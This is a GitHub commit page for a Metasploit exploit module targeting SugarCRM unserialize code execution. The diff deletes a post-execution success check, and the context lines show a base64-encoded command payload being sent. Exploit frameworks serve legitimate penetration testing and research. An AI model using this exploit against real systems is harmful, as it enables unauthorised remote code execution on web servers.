Skip to content

Commit e511f72

Browse files
committed
Delete final check
* A session is the best proof of success
1 parent 79b95aa commit e511f72

File tree

1 file changed

+0
-7
lines changed

1 file changed

+0
-7
lines changed

modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb

Lines changed: 0 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -142,13 +142,6 @@ def exploit
142142
'Cmd' => Rex::Text.encode_base64(payload.encoded)
143143
}
144144
})
145-
146-
if res && res.code == 200
147-
print_good("#{peer} - Payload Executed Successfuly: #{res.code}")
148-
else
149-
fail_with(Failure::Unknown, "#{peer} - Payload execution failed: #{res.code}")
150-
end
151-
152145
end
153146
end
154147

0 commit comments

Comments
 (0)